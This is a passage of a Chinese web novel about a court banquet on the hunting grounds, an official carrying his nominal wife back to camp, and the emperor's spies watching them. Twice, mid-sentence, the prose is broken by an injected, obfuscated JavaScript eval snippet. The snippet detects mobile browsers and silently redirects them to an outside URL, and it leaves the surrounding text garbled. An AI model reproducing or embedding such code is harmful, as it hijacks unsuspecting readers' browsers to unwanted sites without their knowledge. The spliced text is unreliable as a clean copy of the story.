臣子们总算从莫名其妙折磨人的猜人游戏中解脱出来,锦衣卫指挥使周从深赶紧跟着皇后的话茬恭贺道:“皇上爱民如子,万民称颂,四海皆知。” 听着其他臣子跟着附和,薛灵儿在心里翻个白眼,这人难怪升得快,除了心黑手狠之外,嘴也是甜。 眼看回复到了君臣一家、宾主尽欢的状态,薛灵儿深感自己有惊无险过了这关,就等皇后发句话,让自己回座位,好好吃点烤肉补一补。 就见皇后饮了一口酒,轻启朱唇,缓缓说道:“皇上不好奇臣妾到底说的是谁吗?是臣妾身边一个老妈妈说,这薛氏的模样,真有点像臣妾的三姑母。” 薛灵儿本来听她又提,心就提了起来,生怕听到梧桐宫三个字,直到听到三姑母,这才又把心放下,只不知这“三姑母”是哪方神圣。 听到皇后提“三姑母”三个字,宋汝璋的耳畔又起了一串炸雷。 他留神一瞟皇帝的脸色,果然,方才他眼神中不过是有些紧张,紧张中仿佛又带些许期盼,此刻眼神中满是狐疑,冷若寒冰,唇边笑意眼看就快挂不住。 宋汝璋也跟着冒了冷汗。 他是以翰林院编修入仕,后来得皇上信重成为监察御史,对本朝之事知道的详尽,有些,是皇族的隐私。 皇帝沈清远做皇储之前,有一个废太子,叫做沈清延。 兄弟俩一个是皇后所生,一个是妃子所生,年龄相差十二岁,而他们的父亲,先皇沈渊寿数高,精力旺,沈清延年纪老大,还是太子。 后来被废,病死,先皇颁旨昭告天下,说他迷信歪魔邪道,发了疯,服了丹药而死。 郑皇后的三姑母,原本就是这废太子沈清延的侧妃,当年曾经以出众的美貌在世家之中名声大噪。 但,可真是应了红颜薄命的诅咒,送入太子府当侧妃,也就一个月时间,沈清延被废。 沈清延被废之后,死之前,中间也就三天的时间,郑家势力大,硬是把自家姑娘从废太子府接了回郑家。 太子死前留下遗命,妻妾儿女全部殉葬,端的是心狠手辣,三姑母因娘家甩了一张和离书,而逃出了一条命。 但这美貌的三姑母还是命太薄,没过多少时日,还是病死了,枉费了娘家一番苦心。 因这三姑母生平离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196353|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇而不幸,出嫁一个月而靠和离逃命,是个废太子的遗孀,纯纯嫁错了人,押错了宝,郑家对小辈们隐瞒了她的生平,这是合乎人情的。 郑皇后但凡知道这三姑母曾嫁过废太子,也断断不会提她一个字,可惜,她不知道。 美貌的三姑母有个艳丽的名字,叫郑红袖,宋汝璋还记得皇家隐秘档案上的这一笔。 但这郑红袖,相貌居然像不相干的五品官家庶女薛灵燕,也是凑巧了。 脑子里闪过这些念头之后,宋汝璋觉得自己必须要化解这一无声的惊雷,但他究竟年轻,且今日一连经历数次大惊大险,一时茫然无措。 正不知道如何化解,就见自己老师顾首辅站起身来祝酒:“皇上还是皇子的时候就沉稳过人,临危不乱,处变不惊,赢得了先皇的信重,如今四海升平,万民之福,先皇在天之灵,也当欣慰。” 郑皇后本就是见多识广的世家女,更何况当了皇后母仪天下这些年,一听顾首辅提到先皇,立刻明白自己踩了雷,后悔莫及却也不能露出声色,仍旧笑着看了薛灵儿一眼:“薛氏你先回座吧。” 薛灵儿入蒙大赦,回了座位重新落座,发觉早就出了一身冷汗,一颗心砰砰的跳个不住。 宋汝璋递上一杯热茶,眼神中带着无声的安慰,她与宋汝璋对望一眼,接过茶,心中莫名就安定下来许多。 但宋汝璋心中不安却没有丝毫停止。回想刚才,自己老师顾首辅固然是知情者稳住了大局,但话中仿佛别有深意。 而次辅朱厚照刚才一闪而过的神情,更加证实他的判断。 他忍不住往皇座上看一眼。 就见皇上仿若无事地笑一下:“朕去更衣,众位卿家慢用。” 他走了。 再也没回来。 皇后也心神不宁,没过半柱香的功夫,宴席散了。 众臣和夫人都觉得这宴席来得莫名其妙,散得也莫名其妙,忍不住有些失望。但好在夫人们得见天颜,开了眼界,日后与手帕交们摆宴的时候,也是个碾压全场的谈资,并不算亏。 薛灵儿和宋汝璋肩并肩走出帐篷,长长的舒了口气,望见了满天星斗。 草原的夜间,空气格外清新,格外提神醒脑,薛灵儿转过头:“大人,能不能陪我走一走?” 宋汝璋已经确实无疑地知道她是谁,也知道方才宴席上短短的会面,对她的冲击有多大,于是点头应下:“这个自然。” 二人肩并着肩,往草原的深处走,薛灵儿没有说话,眼前一径闪现方才皇帝的脸。 生死相隔,数年不见。沈清远,形貌如昨,那一份温雅沉着也是一如往昔。 抛开帝王的无上身份,男人当中卓然出众的俊美形貌,书香里浸泡出来的清逸气质,也让她初见时怦然心动,久处时引以为傲。 前世她最亲近、最信重的人,曾经给了她后宫独一份的宠爱,天下独一份的风光和荣耀。 如今,是下令诛杀她全家的仇人了。 47. 宋大人背妻 时节已经入秋,草原上的夜风清凉,宋汝璋却浑身发着热,心跳也停不下来。 从前他不知道她是谁,怜她孤弱,慷慨又安然地做了一个和蔼体贴的兄长。 现在突然知道了她是谁,他却忽然找不到自己是谁了。 别说像以前那样对坐吃饭,让她更衣,现在就是走在她身边,也浑身如同火烧,如同芒刺在背。 知道她此刻心里不好受,满心里想安慰,满肚子里搜寻,却是一句得体的说辞也想不出来。 眼看越走越远,走向了草原深处,快要接近树林的边缘了,忍不住问:“你腿走酸了吧,可要回去?” 薛灵儿停下脚步,抬起头看着他,大眼睛在星光下看来,比天上的星星还亮。 她一直不作声,宋汝璋也不知道该说些什么,她忽然一笑,开口说道:“大人,你背我一段路吧。” 宋汝璋心里一慌,本能就想拒绝,二人同乘一匹马,他尚且耐受不得,何况还要背她?可是看她的眼睛里隐有泪意,终究不忍心,于是点点头,俯身下来。 薛灵儿走到他背后,将身子贴到他背上,双手紧紧搂住了他脖子,宋汝璋腰上使劲,带着她的重量站起身来,转过身子往回走。 她个子娇小,身子不甚重,宋汝璋年轻力壮,背起她并不费力,可是她的温度和体香袭人都成了一种干扰和折磨,宋汝璋冒着汗,默不作声地往前走。 他暗暗希望薛灵儿像一直以来那样懂得避嫌,能把身子稍微抬起来一些,不要这么紧紧贴着他,这样他能好受一点。 可是薛灵儿今夜好像丝毫没打算避嫌,反而问道:“大人,山风很冷,我贴你紧一些,不要紧吧。” 宋汝璋心里觉得很要命,然而嘴上只能说:“没事。” 夜风把这句话吹走,吹到了树林里,薛灵儿浑然没有察觉这句话语声的低哑,变本加厉,又把脸颊贴到了宋汝璋的后颈上,自顾自的说道:“小时候,我经常就这样赖在我爹的背上,也这么紧紧的抱着他,再累也不累了,再冷也不冷了。” 她的脸颊像棉花团,温温热热,软软绵绵,贴在宋汝璋的后颈上,却有两滴冰凉的泪,沿着他的后颈往下淌,一直到他下颚,滴入了脚下的尘土。 宋汝璋知道她说的是安国公,只佯装不知,假作随口问一句:“你小的时候,你们那地方很冷吗?” 一句话刺激下来,薛灵儿忽然脑子清醒了许多,想起了自己该是薛灵燕,赶紧敷衍一句混过去:“小时候的事情含含糊糊的,不记得了。大人你累了吧?我下来自己走。” 她松开手臂,把腿蹬了两下,宋汝璋放她下了地,看着她理了理衣襟,理了理鬓边的头发,舒展了一下身体,对着草原边上远远的篝火展开了一个笑颜。 宋汝璋心里一阵刺痛。 过去只知道她贪图享乐,奢华无度,把世间法度都不放在眼里,早晚有一天要招来祸端。俗语说,登高必跌重。 为此他不惜自己十年寒窗之苦,五品微末之身,上书弹劾,为的不过是给她敲一记警钟。 从来不知道,她在困境坎坷里,是有如此的豁达,与坚强。 远处的篝火,天上的星光,都映在她脸上,都倒影在她的眼睛里。虽然死而复生,面貌全非,可这双眼睛,是薛灵儿的眼睛。 他突然后悔,一句话惊到了她,把她从自己背上吓跑了。 方才虽然难受,可又未尝不是千金难易的一刻。 与她在一起的每一刻,都是千金难易的快乐,如同时光本身一样,错过以后,逝水难追。 宋汝璋心内的后悔泛上来,但又彷徨无计。他心肠直,也没有跟年轻女子打交道的经验,后悔的苦味越来越浓,他恨不得一把掐过她的腰,强行把她按在他的背上。 但这不可能,这不是他能干出来的事。 心里刚这么一想,他就忍不住手心冒汗,好像真的做了贼一样,赶紧觑一眼对方的神色,生怕被看出来。 就见薛灵儿对他粲然一笑,神情中带点央求意味:“大人,我饿了。” 宋汝璋沉下去的心,被这一句话就提了起来:“想吃点什么,我叫人去备。” 薛灵儿略带诧异地瞟了他一眼,不明白他语调中那点喜气洋洋的意味从何而来,但既然他开心,自己更加要开心起来,不能辜负他的好意,于是打起精神说道:“我想吃点烤肉。方才馋了好久,却被皇后娘娘叫去说话,一口也没吃上。” 宋汝璋微笑起来,连眼睛里都带了笑:“咱们快点回去,我让他们烤肉。我还背着你,这样走的快一些。” 说完不容分说,就俯下身,一副不容拒绝的姿态。薛灵儿果然迟迟疑疑,又趴在了名义夫君的背上,被他驼着往前走,走过长长的一条路,沿着金黄长草上起伏的波影,走回了营帐。 走出草原的边缘,眼见远处来来往往出现人影,薛灵儿就提出要下来,不让背了。 始而嘴上提,宋汝璋没反应,继而身子挣扎,双腿直踢,然而宋汝璋有力的臂膀牢牢反剪,锁住她的大半个身子,根本挣扎不得,眼瞅着扎营之处各色人等,朝堂重臣,上下奴仆,将宋汝璋背妻的举止围观了个遍,他才大手一松,放她落下了地。 薛灵儿前世到今生,一向胆大妄为,却也没干过这样的事,迎着众人的眼光走了一路,全身都如同在火上烧,一张脸早就羞成了一块红布。 宋汝璋倒是若无其事,陪着薛灵儿身畔,如同寻常夫妻一般进了营帐。 薛灵儿岂是好惹的性格,活了两辈子,没有受过人的强迫,这一番恼恨非同小可。眼见四下无人,抬起脚,狠狠地就踢过去,正好踢在对方的腿骨上,薛灵儿的脚尖生疼,想必对面的男人也不好受。 但宋汝璋哼也没哼一声,安然受了这一脚,眼神清明,一副坦荡可对天地的架势,对薛灵儿说:“我去安排人给你烤肉。” 说完也不等答话,走了出去。 薛灵儿一肚子气还没出完,一脚踢翻了一个木凳,滚出去老远。 在赴皇帝宴的时候,秋香不得跟随,自行随其他仆从吃喝游逛,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14285991|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候进帐来伺候,慌忙问道:“主子这是跟谁动气了?” 薛灵儿从鼻孔里哼一声:“还能有谁,宋汝璋。” 秋香未语先笑:“大人又怎么惹到你了?” 薛灵儿心里又羞又恼,又忍不住怒气,对贴身丫鬟诉苦:“适才从草原上往回走,他说背我走得快些,谁知到了营帐近前,他还不放手,所有人都看见了,实在令人可恼。” 秋香还以为什么大事,一听便笑了:“我的姑娘,男人不都是这样吗?我爹就专门惹我娘着恼,我娘越恼,他就越高兴。” “可……” 薛灵儿想说,你爹你娘是真正夫妻,我们不是呀,话到嘴边一转念,又咽了回去。 难道宋大人对痴傻姑娘薛灵燕,当真动了些许情愫? 这么一起心动念,越想越真。 否则这些日子的燕窝鱼翅,成箱子堆满屋子的华贵衣衫,都是为着什么? 这时候流云进来禀报:“大人让我禀告您,肉都烤好了,可要配方才皇上营帐里的那种酒?” 薛灵儿有心赌气,说一句不吃,奈何从前世到今生,没有跟好吃的过不去,于是自己劝了自己。 宋大人一个老大未娶的男子发了少年狂,乃是出于对自己的名义妻子薛灵燕的喜爱之情,并非成心难为她,倒也不必记恨,于是开了一个笑脸:“那种酒就很好。” 流云喜滋滋的一躬身:“得嘞,您请好吧。” 随后流云带着宋义,流水一样进出,把刚烤好的肉,滚热飘香,油光发亮,摆了一桌子,油脂还在往下滴,带焦香的肉香味儿飘满了一屋子。 流云手法利索,把酒打开塞子,酒香又飘了一屋子。 没人比薛灵儿更清楚,这酒是御用的,皇家酒窖里才有,宋汝璋拿来这个给她喝,其实属于犯禁。 但不要紧,他是权臣,唯一能在黄昏时刻陪皇帝下棋的臣子,这就够干很多事了。 酒香肉香一样勾人,薛灵儿再也按耐不住,挽起袖子,抬手就要撕下山鸡的腿肉,秋香在一旁担忧阻止:“主子,小心烫手,让奴婢来。” 恰好此时,营帐帘子一掀,宋汝璋进来了。 薛灵儿见他一脸若无其事的可恶样子,虽说与自己不大相干,心中还是忍不住有气,缩回了手,把脸也扭到一边。 ———— 皇帝的营帐。 每年秋季这场出猎,都是皇帝一年之中难得游玩放松的时候。这时候最该有兴致召见妃子前来侍奉的,若是想要温情默契,该是秦贵妃李丽妃,想要年轻新鲜,该是新晋的几位贵人。 汪德厚本来已经准备好了绿头牌,可是根本没用上,皇帝只想要一个东西。 潜龙卫的首领是个黑衣仆从,或者说,混在仆从堆里,比仆从更像仆从,现在正跟皇帝密报:“回禀皇上,宋汝璋刚把薛氏背回了营帐,在侍奉她吃烤肉,酒是从御厨总管那里讨要的。” 汪德厚心里一缩,把头垂得低了一些。自从白天去看那薛氏骑马,他就知道事情要糟。